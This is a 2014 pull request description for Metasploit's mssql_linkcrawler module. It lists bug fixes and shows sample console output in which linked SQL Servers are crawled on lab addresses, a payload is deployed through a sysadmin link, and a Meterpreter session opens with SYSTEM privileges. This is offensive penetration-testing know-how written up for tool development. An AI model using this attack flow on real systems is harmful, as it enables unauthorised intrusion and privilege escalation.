rapid7/metasploit-framework — pull request #4036 by nullbind (2014-10-16 19:59:31+00:00)
Title: Updated mssql_linkcrawler module

This PR updates the existing mssql_linkcrawler module. It includes a few bug fixes, style changes (recommended from the previous PR), and a crawl summary at the end of the output. I've included sample output and links to a few screenshots below.

Note: This was previously submitted as a PR, but I ended up having some conflicts. Hopefully this fixed those issue, but let me know if I hosed it.

Sample Screenshots:
http://imgur.com/O1sHAoT,PGBIRaF,KzGj2wK,Ks8SFKX#0
http://imgur.com/O1sHAoT,PGBIRaF,KzGj2wK,Ks8SFKX#1
http://imgur.com/O1sHAoT,PGBIRaF,KzGj2wK,Ks8SFKX#2
http://imgur.com/O1sHAoT,PGBIRaF,KzGj2wK,Ks8SFKX#3

Sample output:

[*] Start time : 2014-10-16 14:27:27 -0500
[*] -------------------------------------------------
[*] Attempting to connect to SQL Server at 10.2.9.101:1433...
[+] Successfully connected to LVA
[*]
[*] -------------------------------------------------
[*] Crawling links on LVA...
[*] Links found: 1
[*] -------------------------------------------------
[*] Link path: LVA -> HVA
[*]
[*] -------------------------------------------------
[*] Crawling links on HVA...
[*] Links found: 2
[*] -------------------------------------------------
[+] Link path: LVA -> HVA -> HVA\NAMED2K5 (Sysadmin!)
[-] Link Path: LVA -> HVA -> BADSERVER1 - Connection Failed
[*] Ready to deploy a payload to HVA\NAMED2K5
[*] Deploying payload...
[*] Executing payload...
[*] Sending stage (769536 bytes) to 10.2.9.160
[*] Meterpreter session 1 opened (10.2.9.110:4444 -> 10.2.9.160:1246) at 2014-10-16 14:28:26 -0500
[*]
[*] -------------------------------------------------
[*] Crawling links on HVA\NAMED2K5...
[*] Links found: 2
[*] -------------------------------------------------
[*] Link path: LVA -> HVA -> HVA\NAMED2K5 -> LVA
[-] Link Path: LVA -> HVA -> HVA\NAMED2K5 -> 10.2.9.10,1433 - Connection Failed
[*]
[*] -------------------------------------------------
[*] End time : 2014-10-16 14:28:49 -0500
[*] -------------------------------------------------
[*]
[*] -------------------------------------------------
[*] Crawl Summary
[*] -------------------------------------------------
[*] 3 SQL Servers found
[*] 1 with Sysadmin privs
[*] 2 with user privs
[*] -------------------------------------------------
[*] Results have been saved to: /root/.msf4/loot/20141016142849_default_10.2.9.101_crawled_links_924300.txt

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM